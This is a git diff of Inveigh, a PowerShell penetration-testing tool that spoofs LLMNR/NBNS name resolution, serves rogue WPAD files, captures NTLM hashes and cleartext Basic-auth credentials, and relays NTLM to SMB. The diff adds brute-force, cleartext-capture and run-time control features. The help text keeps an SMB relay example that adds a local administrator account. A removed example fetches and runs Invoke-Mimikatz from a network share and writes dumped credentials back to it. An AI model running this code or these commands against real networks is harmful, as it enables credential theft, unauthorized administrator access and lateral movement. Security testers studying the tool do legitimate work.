System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificate = $certificate_store.certificates.find("FindByThumbprint",$inveigh.certificate_thumbprint,$false)[0] + $certificate_store.Remove($certificate) + $certificate_store.Close() + } + catch + { + if($inveigh.status_output) + { + $inveigh.console_queue.add("SSL Certificate Deletion Error - Remove Manually") + } + + $inveigh.log.add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually"| Out-File $Inveigh.log_out_file -Append + } + } + } + + $inveigh.HTTP = $false + $inveigh.HTTPS = $false + } + } + + if($inveigh.file_output -and (!$inveigh.running -or !$inveigh.bruteforce_running)) { while($inveigh.log_file_queue.Count -gt 0) { @@ -1237,13 +1337,17 @@ $HTTP_scriptblock = $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append $inveigh.NTLMv2_file_queue.RemoveRange(0,1) } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveRange(0,1) + } } + Start-Sleep -m 5 } - - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() -} + } # HTTP/HTTPS Listener Startup Function Function HTTPListener() @@ -1276,7 +1380,20 @@ Function HTTPListener() $SMBRelayTarget).AddArgument($SMBRelayCommand).AddArgument($SMBRelayUsernames).AddArgument( $SMBRelayAutoDisable).AddArgument($SMBRelayNetworkTimeout).AddArgument( $MachineAccounts).AddArgument($WPADAuth) > $null - $HTTP_handle = $HTTP_powershell.BeginInvoke() + $HTTP_powershell.BeginInvoke() > $null +} + +# Control Relay Startup Function +Function ControlRelayLoop() +{ + $control_relay_runspace = [runspacefactory]::CreateRunspace() + $control_relay_runspace.Open() + $control_relay_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $control_relay_powershell = [powershell]::Create() + $control_relay_powershell.Runspace = $control_relay_runspace + $control_relay_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $control_relay_powershell.AddScript($control_relay_scriptblock).AddArgument($RunTime) > $null + $control_relay_powershell.BeginInvoke() > $null } # HTTP Server Start @@ -1285,6 +1402,12 @@ if($inveigh.HTTP -or $inveigh.HTTPS) HTTPListener } +# Control Relay Loop Start +if($RunTime -or $inveigh.file_output) +{ + ControlRelayLoop +} + if(!$inveigh.running -and $inveigh.console_output) { @@ -1301,33 +1424,31 @@ if(!$inveigh.running -and $inveigh.console_output) { switch -wildcard ($inveigh.console_queue[0]) { - "*local administrator*" + "Inveigh *exited *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv1 challenge/response written*" - { - if($inveigh.file_output) + "* written to *" { - write-warning $inveigh.console_queue[0] - } + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv2 challenge/response written*" - { - if($inveigh.file_output) + "* for relay *" { write-warning $inveigh.console_queue[0] - } $inveigh.console_queue.RemoveRange(0,1) } - "* relay *" + "*SMB relay *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "Service *" + "* local administrator *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) @@ -1361,38 +1482,71 @@ Function Stop-Inveigh { <# .SYNOPSIS - Stop-InveighRelay will stop all running Inveigh functions. + Stop-Inveigh will stop all running Inveigh functions. #> if($inveigh) { - if($inveigh.running -or $inveigh.relay_running) + if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) { - $inveigh.running = $false - $inveigh.relay_running = $false - + if($inveigh.HTTP_listener.IsListening) { $inveigh.HTTP_listener.Stop() $inveigh.HTTP_listener.Close() } + + if($inveigh.bruteforce_running) + { + $inveigh.bruteforce_running = $false + $inveigh.status_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener")|Out-Null + $inveigh.HTTP_listener.server.blocking = $false + Start-Sleep -s 1 + $inveigh.HTTP_listener.server.Close() + Start-Sleep -s 1 + $inveigh.HTTP_listener.Stop() + $inveigh.status_queue.add("Inveigh Brute Force exited at $(Get-Date -format 's')")|Out-Null + $inveigh.log.add("$(Get-Date -format 's') - Inveigh Brute Force exited")|Out-Null + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - Inveigh Brute Force exited"| Out-File $Inveigh.log_out_file -Append + } + } + + if($inveigh.relay_running) + { + $inveigh.relay_running = $false + $inveigh.status_queue.add("Inveigh Relay exited at $(Get-Date -format 's')")|Out-Null + $inveigh.log.add("$(Get-Date -format 's') - Inveigh Relay exited")|Out-Null - $inveigh.status_queue.add("Inveigh exited at $(Get-Date -format 's')")|Out-Null - $inveigh.log.add("$(Get-Date -format 's') - Inveigh exited")|Out-Null + if($inveigh.file_output) + { + "$(Get-Date -format 's') - Inveigh Relay exited"| Out-File $Inveigh.log_out_file -Append + } + } - if($inveigh.file_output) + if($inveigh.running) { - "$(Get-Date -format 's') - Inveigh exited"| Out-File $Inveigh.log_out_file -Append + $inveigh.running = $false + $inveigh.status_queue.add("Inveigh exited at $(Get-Date -format 's')")|Out-Null + $inveigh.log.add("$(Get-Date -format 's') - Inveigh exited")|Out-Null + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - Inveigh exited"| Out-File $Inveigh.log_out_file -Append + } } + } else { - $inveigh.status_queue.add("Inveigh isn't running") | Out-Null + $inveigh.status_queue.add("There are no running Inveigh functions") | Out-Null } if($inveigh.HTTPS) { - Invoke-Expression -command "netsh http delete sslcert ipport=0.0.0.0:443" > $null - + & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null + try { $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") @@ -1419,7 +1573,7 @@ Function Stop-Inveigh } else { - $inveigh.status_queue.add("Inveigh isn't running")|Out-Null + $inveigh.status_queue.add("There are no running Inveigh functions")|Out-Null } if($inveigh.status_output) @@ -1435,7 +1589,7 @@ Function Stop-Inveigh { switch -wildcard ($inveigh.status_queue[0]) { - "Inveigh exited at *" + "Inveigh *exited *" { write-warning $inveigh.status_queue[0] $inveigh.status_queue.RemoveRange(0,1) @@ -1473,33 +1627,31 @@ Function Get-Inveigh { switch -wildcard ($inveigh.console_queue[0]) { - "*local administrator*" + "Inveigh *exited *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv1 challenge/response written*" + "* written to *" { - if($inveigh.file_output) - { - write-warning $inveigh.console_queue[0] - } + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv2 challenge/response written*" - { - if($inveigh.file_output) + "* for relay *" { write-warning $inveigh.console_queue[0] - } $inveigh.console_queue.RemoveRange(0,1) } - "* relay *" + "*SMB relay *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "Service *" + "* local administrator *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) @@ -1514,6 +1666,15 @@ Function Get-Inveigh } } +Function Get-InveighCleartext +{ + <# + .SYNOPSIS + Get-InveighCleartext will get all captured cleartext credentials. + #> + $inveigh.cleartext_list +} + Function Get-InveighNTLM { <# @@ -1548,7 +1709,7 @@ Function Get-InveighNTLMv1 { $inveigh.NTLMv1_list.sort() - foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) + ForEach($unique_NTLMv1 in $inveigh.NTLMv1_list) { $unique_NTLMv1_account = $unique_NTLMv1.substring(0,$unique_NTLMv1.indexof(":",($unique_NTLMv1.indexof(":")+2))) @@ -1590,7 +1751,7 @@ Function Get-InveighNTLMv2 { $inveigh.NTLMv2_list.sort() - foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) + ForEach($unique_NTLMv2 in $inveigh.NTLMv2_list) { $unique_NTLMv2_account = $unique_NTLMv2.substring(0,$unique_NTLMv2.indexof(":",($unique_NTLMv2.indexof(":")+2))) @@ -1617,7 +1778,7 @@ Function Get-InveighLog $inveigh.log } -Function Get-InveighStats +Function Get-InveighStat { <# .SYNOPSIS @@ -1636,12 +1797,12 @@ Function Watch-Inveigh #> if($inveigh.tool -ne 1) { - if($inveigh.running -or $inveigh.relay_running) + if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) { Write-Output "Press any key to stop real time console output" $inveigh.console_output = $true - :console_loop while(($inveigh.running) -and ($inveigh.console_output)) + :console_loop while((($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) { while($inveigh.console_queue.Count -gt 0) { @@ -1653,34 +1814,32 @@ Function Watch-Inveigh else { switch -wildcard ($inveigh.console_queue[0]) - { - "*local administrator*" + { + "Inveigh *exited *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv1 challenge/response written*" - { - if($inveigh.file_output) + "* written to *" { - write-warning $inveigh.console_queue[0] - } + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv2 challenge/response written*" - { - if($inveigh.file_output) + "* for relay *" { write-warning $inveigh.console_queue[0] - } $inveigh.console_queue.RemoveRange(0,1) } - "* relay *" + "*SMB relay *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "Service *" + "* local administrator *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) @@ -1722,7 +1881,7 @@ Function Clear-Inveigh #> if($inveigh) { - if(!$inveigh.running -and !$inveigh.relay_running) + if(!$inveigh.running -and !$inveigh.relay_running -and !$inveigh.bruteforce_running) { Remove-Variable inveigh -scope global Write-Output "Inveigh data has been cleared from memory" diff --git a/Scripts/Inveigh.ps1 b/Scripts/Inveigh.ps1 index 5bdf528..0e94a89 100644 --- a/Scripts/Inveigh.ps1 +++ b/Scripts/Inveigh.ps1 @@ -2,14 +2,21 @@ Function Invoke-Inveigh { <# .SYNOPSIS -Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response capture over HTTP(S)/SMB and NTLMv2 HTTP to SMB relay. +Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response capture over HTTP/HTTPS/SMB. .DESCRIPTION -Inveigh is a Windows PowerShell LLMNR/NBNS spoofer designed to assist penetration testers that find themselves limited to a Windows system. -This can commonly occur while performing standard post exploitation, phishing attacks, USB drive attacks, VLAN pivoting, or simply being restricted to a Windows system as part of client imposed restrictions. +Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with the following features: + + IPv4 LLMNR/NBNS spoofer with granular control + NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/SMB + Basic auth cleartext credential capture over HTTP/HTTPS + WPAD server capable of hosting a basic or custom wpad.dat file + HTTP/HTTPS server capable of hosting limited content + Granular control of console and file output + Run time control .PARAMETER IP -Specify a specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the 'SpoofIP' parameter is not set. +Specify a specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the 'SpooferIP' parameter is not set. .PARAMETER SpooferIP Specify an IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host. @@ -32,9 +39,15 @@ Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim s .PARAMETER LLMNR Default = Enabled: (Y/N) Enable/Disable LLMNR spoofing. +.PARAMETER LLMNRTTL +Default = 30 Seconds: Specify a custom LLMNR TTL in seconds for the response packet. + .PARAMETER NBNS Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. +.PARAMETER NBNSTTL +Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. + .PARAMETER NBNSTypes Default = 00,20: Comma separated list of NBNS types to spoof. Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name @@ -63,11 +76,14 @@ Specify an EXE filename within the HTTPDir to serve as the default HTTP/HTTPS re .PARAMETER HTTPResponse Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests. -.PARAMETER WPADAuth -Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts. +.PARAMETER HTTPSCertAppID +Specify a valid application GUID for use with the ceriticate. .PARAMETER HTTPSCertThumbprint -Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in the current working directory and named inveigh.pfx. +Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in the current working directory and named Inveigh.pfx. + +.PARAMETER WPADAuth +Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts. .PARAMETER WPADIP Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort. @@ -75,6 +91,9 @@ Specify a proxy server IP to be included in a basic wpad.dat response for WPAD e .PARAMETER WPADPort Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP. +.PARAMETER WPADDirectHosts +Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. + .PARAMETER WPADResponse Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set. @@ -147,7 +166,7 @@ Invoke-Inveigh -IP 192.168.1.10 -HTTP N Execute specifying a specific local listening/spoofing IP and disabling HTTP challenge/response. .EXAMPLE -Invoke-Inveigh -Repeat N -WPADAuth Anonymous -SpooferHostsReply host1,host2 -SpooferIPsReply 192.168.2.75,192.168.2.76 +Invoke-Inveigh -SpooferRepeat N -WPADAuth Anonymous -SpooferHostsReply host1,host2 -SpooferIPsReply 192.168.2.75,192.168.2.76 Execute with the stealthiest options. Invoke-Inveigh -Inspect @@ -169,17 +188,9 @@ Execute specifying an HTTP redirect response. Invoke-Inveigh -SMBRelay y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Winter2016 /add && net localgroup administrators Dave /add" Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay target. -.EXAMPLE -Invoke-Inveigh -SMBRelay Y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "powershell \\192.168.2.50\temp$\powermeup.cmd" -Execute with SMB relay enabled and using Mubix's powermeup.cmd method of launching Invoke-Mimikatz.ps1 and uploading output. In this example, a hidden anonymous share containing Invoke-Mimikatz.ps1 is employed on the Inveigh host system. -Powermeup.cmd contents used for this example: -powershell "IEX (New-Object Net.WebClient).DownloadString('\\192.168.2.50\temp$\Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.2.50\temp$\%COMPUTERNAME%.txt 2>&1" -Original version: -https://github.com/mubix/post-exploitation/blob/master/scripts/mass_mimikatz/powermeup.cmd - .NOTES 1. An elevated administrator or SYSTEM shell is needed. -2. Currently supports IPv4 LLMNR/NBNS spoofing and HTTP/SMB NTLMv1/NTLMv2 challenge/response capture. +2. Currently supports IPv4 LLMNR/NBNS spoofing and HTTP/HTTPS/SMB NTLMv1/NTLMv2 challenge/response capture. 3. LLMNR/NBNS spoofing is performed through sniffing and sending with raw sockets. 4. SMB challenge/response captures are performed by sniffing over the host system's SMB service. 5. HTTP challenge/response captures are performed with a dedicated listener. @@ -191,10 +202,9 @@ https://github.com/mubix/post-exploitation/blob/master/scripts/mass_mimikatz/pow .LINK https://github.com/Kevin-Robertson/Inveigh - #> -# Default parameter values can be modified in this section +# Parameter default values can be modified in this section: param ( [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTP="Y", @@ -227,6 +237,9 @@ param [parameter(Mandatory=$false)][array]$SpooferIPsReply="", [parameter(Mandatory=$false)][array]$SpooferIPsIgnore="", [parameter(Mandatory=$false)][array]$SMBRelayUsernames="", + [parameter(Mandatory=$false)][array]$WPADDirectHosts="", + [parameter(Mandatory=$false)][int]$LLMNRTTL="30", + [parameter(Mandatory=$false)][int]$NBNSTTL="165", [parameter(Mandatory=$false)][int]$WPADPort="", [parameter(Mandatory=$false)][int]$RunTime="", [parameter(Mandatory=$false)][int]$SMBRelayNetworkTimeout="", @@ -234,7 +247,8 @@ param [parameter(Mandatory=$false)][string]$HTTPDefaultFile="", [parameter(Mandatory=$false)][string]$HTTPDefaultEXE="", [parameter(Mandatory=$false)][string]$HTTPResponse="", - [parameter(Mandatory=$false)][string]$HTTPSCertThumbprint="76a49fd27011cf4311fb6914c904c90a89f3e4b2", + [parameter(Mandatory=$false)][string]$HTTPSCertAppID="00112233-4455-6677-8899-AABBCCDDEEFF", + [parameter(Mandatory=$false)][string]$HTTPSCertThumbprint="98c1d54840c5c12ced710758b6ee56cc62fa1f0d", [parameter(Mandatory=$false)][string]$WPADResponse="", [parameter(Mandatory=$false)][string]$SMBRelayCommand="", [parameter(Mandatory=$false)][switch]$Inspect, @@ -248,7 +262,7 @@ if ($invalid_parameter) if(!$IP) { - $IP = (Test-Connection 127.0.0.1 -count 1 | select -ExpandProperty Ipv4Address) + $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) } if(!$SpooferIP) @@ -267,15 +281,15 @@ if($SMBRelay -eq 'y') { Throw "You must specify an -SMBRelayCommand if enabling -SMBRelay" } -} -if($SMBRelay -eq 'y' -and ($Challenge -or $HTTPDefaultFile -or $HTTPDefaultEXE -or $HTTPResponse -or $WPADIP -or $WPADPort -or $WPADResponse)) -{ - Throw "-Challenge -HTTPDefaultFile, -HTTPDefaultEXE, -HTTPResponse, -WPADIP, -WPADPort, and -WPADResponse can not be used when enabling -SMBRelay" -} -elseif($SMBRelay -eq 'y' -and ($HTTPAuth -ne 'NTLM' -or $WPADAuth -eq 'Basic')) -{ - Throw "Only -HTTPAuth NTLM, -WPADAuth NTLM, and -WPAD Anonymous can be used when enabling -SMBRelay" + if($Challenge -or $HTTPDefaultFile -or $HTTPDefaultEXE -or $HTTPResponse -or $WPADIP -or $WPADPort -or $WPADResponse) + { + Throw "-Challenge -HTTPDefaultFile, -HTTPDefaultEXE, -HTTPResponse, -WPADIP, -WPADPort, and -WPADResponse can not be used when enabling -SMBRelay" + } + elseif($HTTPAuth -ne 'NTLM' -or $WPADAuth -eq 'Basic') + { + Throw "Only -HTTPAuth NTLM, -WPADAuth NTLM, and -WPADAuth Anonymous can be used when enabling -SMBRelay" + } } if($HTTPDefaultFile -or $HTTPDefaultEXE) @@ -286,7 +300,7 @@ if($HTTPDefaultFile -or $HTTPDefaultEXE) } } -if($WPADIP -eq 'y' -or $WPADPort -eq 'y') +if($WPADIP -or $WPADPort) { if(!$WPADIP) { @@ -342,6 +356,7 @@ $inveigh.log_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList $inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList +$inveigh.certificate_application_ID = $HTTPSCertAppID $inveigh.certificate_thumbprint = $HTTPSCertThumbprint $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList $inveigh.console_output = $false @@ -410,19 +425,14 @@ else # Write startup messages $inveigh.status_queue.add("Inveigh started at $(Get-Date -format 's')")|Out-Null -$inveigh.log.add("$(Get-Date -format 's') - Inveigh started") |Out-Null - -if($FileOutput -eq 'y') -{ - "$(Get-Date -format 's') - Inveigh started" |Out-File $Inveigh.log_out_file -Append -} - +$inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh started")]) |Out-Null $inveigh.status_queue.add("Listening IP Address = $IP") |Out-Null $inveigh.status_queue.add("LLMNR/NBNS Spoofer IP Address = $SpooferIP")|Out-Null if($LLMNR -eq 'y') { $inveigh.status_queue.add("LLMNR Spoofing Enabled")|Out-Null + $inveigh.status_queue.add("LLMNR TTL = $LLMNRTTL Seconds")|Out-Null $LLMNR_response_message = "- spoofed response has been sent" } else @@ -443,7 +453,8 @@ if($NBNS -eq 'y') { $inveigh.status_queue.add("NBNS Spoofing Of Types $NBNSTypes_output Enabled")|Out-Null } - + + $inveigh.status_queue.add("NBNS TTL = $NBNSTTL Seconds")|Out-Null $NBNS_response_message = "- spoofed response has been sent" } else @@ -511,10 +522,13 @@ if($HTTPS -eq 'y') $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") $certificate_store.Open('ReadWrite') $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 - $certificate.Import($PWD.Path + "\inveigh.pfx") + $certificate.Import($PWD.Path + "\Inveigh.pfx") $certificate_store.Add($certificate) $certificate_store.Close() - Invoke-Expression -command ("netsh http add sslcert ipport=0.0.0.0:443 certhash=" + $inveigh.certificate_thumbprint + " appid='{00112233-4455-6677-8899-AABBCCDDEEFF}'") > $null + $netsh_certhash = "certhash=" + $inveigh.certificate_thumbprint + $netsh_app_ID = "appid={" + $inveigh.certificate_application_ID + "}" + $netsh_arguments = @("http","add","sslcert","ipport=0.0.0.0:443",$netsh_certhash,$netsh_app_ID) + & "netsh" $netsh_arguments > $null $inveigh.status_queue.add("HTTPS Capture Enabled")|Out-Null } catch @@ -530,51 +544,66 @@ else $inveigh.status_queue.add("HTTPS Capture Disabled")|Out-Null } -if($HTTPDir -and !$HTTPResponse) +if($inveigh.HTTP -or $inveigh.HTTPS) { - $inveigh.status_queue.add("HTTP/HTTPS Directory = $HTTPDir")|Out-Null + $inveigh.status_queue.add("HTTP/HTTPS Authentication = $HTTPAuth")|Out-Null + $inveigh.status_queue.add("WPAD Authentication = $WPADAuth")|Out-Null - if($HTTPDefaultFile) + if($HTTPDir -and !$HTTPResponse) { - $inveigh.status_queue.add("HTTP/HTTPS Default Response File = $HTTPDefaultFile")|Out-Null + $inveigh.status_queue.add("HTTP/HTTPS Directory = $HTTPDir")|Out-Null + + if($HTTPDefaultFile) + { + $inveigh.status_queue.add("HTTP/HTTPS Default Response File = $HTTPDefaultFile")|Out-Null + } + + if($HTTPDefaultEXE) + { + $inveigh.status_queue.add("HTTP/HTTPS Default Response Executable = $HTTPDefaultEXE")|Out-Null + } } - if($HTTPDefaultEXE) + if($HTTPResponse) { - $inveigh.status_queue.add("HTTP/HTTPS Default Response Executable = $HTTPDefaultEXE")|Out-Null + $inveigh.status_queue.add("HTTP/HTTPS Custom Response Enabled")|Out-Null } -} -if($HTTPResponse) -{ - $inveigh.status_queue.add("HTTP/HTTPS Custom Response Enabled")|Out-Null -} + if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') + { + $inveigh.status_queue.add("Basic Authentication Realm = $HTTPBasicRealm")|Out-Null + } -if($HTTP -eq 'y' -or $HTTPS -eq 'y') -{ - $inveigh.status_queue.add("HTTP/HTTPS Authentication = $HTTPAuth")|Out-Null - $inveigh.status_queue.add("WPAD Authentication = $WPADAuth")|Out-Null -} + if($WPADIP -and $WPADPort) + { + $inveigh.status_queue.add("WPAD = $WPADIP`:$WPADPort")|Out-Null -if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') -{ - $inveigh.status_queue.add("Basic Authentication Realm = $HTTPBasicRealm")|Out-Null -} + if($WPADDirectHosts) + { + ForEach($WPAD_direct_host in $WPADDirectHosts) + { + $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' + } -if($WPADIP -and $WPADPort) -{ - $inveigh.status_queue.add("WPAD = $WPADIP`:$WPADPort")|Out-Null - $inveigh.WPAD_response = "function FindProxyForURL(url,host){return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" -} -elseif($WPADResponse -and !$WPADIP -and !$WPADPort) -{ - $inveigh.status_queue.add("WPAD Custom Response Enabled")|Out-Null - $inveigh.WPAD_response = $WPADResponse -} + $inveigh.WPAD_response = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + $inveigh.status_queue.add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",")|Out-Null + } + else + { + $inveigh.WPAD_response = "function FindProxyForURL(url,host){return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + } + } + elseif($WPADResponse -and !$WPADIP -and !$WPADPort) + { + $inveigh.status_queue.add("WPAD Custom Response Enabled")|Out-Null + $inveigh.WPAD_response = $WPADResponse + } + + if($Challenge) + { + $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null + } -if($Challenge) -{ - $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null } if($MachineAccounts -eq 'n') @@ -631,6 +660,7 @@ if($SMBRelay -eq 'n') $inveigh.status_queue.add("Press any key to stop real time console output")|Out-Null } } + if($inveigh.status_output) { while($inveigh.status_queue.Count -gt 0) @@ -661,7 +691,7 @@ if($SMBRelay -eq 'n') } else { - Invoke-InveighRelay -HTTP $HTTP -HTTPS $HTTPS -HTTPSCertThumbprint $HTTPSCertThumbprint -WPADAuth $WPADAuth -SMBRelayTarget $SMBRelayTarget -SMBRelayUsernames $SMBRelayUsernames -SMBRelayAutoDisable $SMBRelayAutoDisable -SMBRelayNetworkTimeout $SMBRelayNetworkTimeout -MachineAccounts $MachineAccounts -SMBRelayCommand $SMBRelayCommand -Tool $Tool -ShowHelp $ShowHelp + Invoke-InveighRelay -HTTP $HTTP -HTTPS $HTTPS -HTTPSCertAppID $HTTPSCertAppID -HTTPSCertThumbprint $HTTPSCertThumbprint -WPADAuth $WPADAuth -SMBRelayTarget $SMBRelayTarget -SMBRelayUsernames $SMBRelayUsernames -SMBRelayAutoDisable $SMBRelayAutoDisable -SMBRelayNetworkTimeout $SMBRelayNetworkTimeout -MachineAccounts $MachineAccounts -SMBRelayCommand $SMBRelayCommand -Tool $Tool -ShowHelp $ShowHelp } # Begin ScriptBlocks @@ -695,7 +725,7 @@ $shared_basic_functions_scriptblock = $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)]) $string_data = $string_data -replace "-00","" - $string_data = $string_data.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $string_data = $string_data.Split("-") | ForEach{ [CHAR][CONVERT]::toint16($_,16)} $string_extract = New-Object System.String ($string_data,0,$string_data.Length) return $string_extract } @@ -808,19 +838,19 @@ $HTTP_scriptblock = $HTTP_timestamp = Get-Date $HTTP_timestamp = $HTTP_timestamp.ToFileTime() $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp)) - $HTTP_timestamp = $HTTP_timestamp.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach{ [CHAR][CONVERT]::toint16($_,16)} if($inveigh.challenge) { $HTTP_challenge = $inveigh.challenge $HTTP_challenge_bytes = $inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach{ [CHAR][CONVERT]::toint16($_,16)} } else { - $HTTP_challenge_bytes = [String](1..8 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach{ [CHAR][CONVERT]::toint16($_,16)} } $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $HTTP_challenge) |Out-Null @@ -898,6 +928,7 @@ $HTTP_scriptblock = } $NTLM = 'NTLM' + $NTLM_auth = $false if($inveigh.request.IsSecureConnection) { @@ -1015,8 +1046,8 @@ $HTTP_scriptblock = } $inveigh.response.StatusCode = 200 + $NTLM_auth = $true $NTLM_challenge = '' - } else { @@ -1039,7 +1070,7 @@ $HTTP_scriptblock = } } - if(($HTTPAuth -eq 'NTLM' -and $inveigh.request.RawUrl -notmatch '/wpad.dat') -or ($WPADAuth -eq 'NTLM' -and $inveigh.request.RawUrl -match '/wpad.dat')) + if(($HTTPAuth -eq 'NTLM' -and $inveigh.request.RawUrl -notmatch '/wpad.dat') -or ($WPADAuth -eq 'NTLM' -and $inveigh.request.RawUrl -match '/wpad.dat') -and !$NTLM_auth) { $inveigh.response.AddHeader("WWW-Authenticate",$NTLM) } @@ -1066,7 +1097,7 @@ $HTTP_scriptblock = # Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer $sniffer_scriptblock = { - param ($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$MachineAccounts,$RunTime) + param 